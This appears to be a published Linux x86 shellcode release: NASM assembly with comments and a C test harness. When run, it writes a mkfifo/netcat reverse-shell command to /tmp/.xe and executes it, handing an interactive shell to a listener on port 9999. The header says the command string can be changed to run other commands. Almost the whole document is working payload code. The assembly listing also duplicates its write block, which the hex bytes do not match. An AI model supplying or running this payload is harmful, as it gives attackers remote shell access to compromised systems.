/*
;author:    Filippo "zinzloun" Bersani
;date:      05/12/2016
;version:   1.0
;X86 Assembly/NASM Syntax
;tested on: Linux OpenSuse001 2.6.34-12-desktop 32bit
;           Linux ubuntu 3.13.0-100-generic #147~precise1-Ubuntu 32bit
;           Linux bb32 4.4.0-45-generic 32bit
  
; description:
    get a reverse shell executing a shell script saved in tmp that execute netcat that reverse the shell to the listener,
    considering that by now the default nc configuration does not permitt to execute (-e) command directly anymore 
    this is a different approach that permitt to execute not only netcat.
    LIMITATION: size of the shellcode; the attacker has to have gained the privilege to execute commmand (/bin/bash)
 
  
  
; see comment for details
 
global _start
 
section .text
_start:
     
     
CreateFile:
    xor eax, eax            ;zeroing
    xor edx, edx    
    push eax                ;NULL byte as string terminator
    push 0x65782e2f         ;name of file to be executed /tmp/.xe
    push 0x706d742f       
    mov ebx, esp            ;ebx point to pushed string
    mov esi, esp            ;save the name of the file for a later use
    mov al,0x8              ;create the file...
    mov cl,077o             ;...with 77 permission in octal (to avoid 0)
    int 0x80
 
    jmp CallPop     
 
WriteString:            
     
    pop ecx                 ;get the command string to write in the file, 3rd arg       
    mov ebx,eax             ;save the returned value of the previous sys call (fd) into ebx, 2nd arg
    mov dl,0x09             ;now we put value $0x09 into dl...
    inc  dl                 ;0x09 + 1 == 0x0A, get the bad Line feed char ;)
    mov byte [ecx+92],dl    ;replace our R char with 0x0A *
     
    xor edx,edx
    mov dl,93               ;len of the buffer to write, 4th arg **
    mov al,0x04             ;sys call to write the file
    int 0x80
    mov ebx,eax             ;save the returned value of the previous sys call (fd) into ebx, 2nd arg
    mov dl,0x09             ;now we put value $0x09 into dl...
    inc  dl                 ;0x09 + 1 == 0x0A, get the bad Line feed char ;)
    mov byte [ecx+92],dl    ;replace our R char with 0x0A *
     
    xor edx,edx
    mov dl,93           ;len of the buffer to write, 4th arg **
    mov al,0x04         ;sys call to write the file
    int 0x80
 
CloseFile:
    xor eax,eax
    mov al, 0x6         ;close the stream file
    int 0x80
 
ExecFile:
    xor eax, eax
    push eax            ;push null into the stack
                        ;push ////bin/bash into the stack
    push 0x68736162
    push 0x2f6e6962
    push 0x2f2f2f2f
         
    mov ebx,esp         ;set the 1st arg /bin/bash from the stack
                        ;set up the args array
    push eax            ; null
    push esi            ; get the saved pointer to the /tmp/.xe 
    push ebx            ; pointer to /bin/bash
    mov ecx, esp        ;set the args
     
    xor edx,edx     
    mov al, 0xb         ;sys call 11 to execute the file
    int 0x80
 
CallPop:
 call  WriteString
 ;this string can be configured to execute other command too, you have only to adjust the length of the buffer (**) and the index of the char (R) to replace (*) 
 ;according to the length of the string
 db "rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | /bin/nc  localhost 9999 > /tmp/fR"   
  
*/
 
#include<stdio.h>
#include<string.h>
 
unsigned char code[] = \
"\x31\xc0\x31\xd2\x50\x68\x2f\x2e\x78\x65\x68\x2f\x74\x6d\x70\x89\xe3\x89\xe6\xb0\x08\xb1\x3f\xcd\x80\xeb\x37\x59\x89"
"\xc3\xb2\x09\xfe\xc2\x88\x51\x5c\x31\xd2\xb2\x5d\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68"
"\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x56\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\xe8\xc4\xff\xff\xff\x72\x6d\x20\x2d\x66"
"\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x6d\x6b\x66\x69\x66\x6f\x20\x2f\x74\x6d\x70\x2f\x66\x3b\x20\x63\x61\x74\x20\x2f\x74\x6d\x70\x2f"
"\x66\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x2d\x69\x20\x32\x3e\x26\x31\x20\x7c\x20\x2f\x62\x69\x6e\x2f\x6e\x63\x20\x20\x6c\x6f"
"\x63\x61\x6c\x68\x6f\x73\x74\x20\x39\x39\x39\x39\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x66\x52";
main()
{
 
        printf("Shellcode Length:  %d\n", strlen(code));
 
        int (*ret)() = (int(*)())code;
 
        ret();
 
}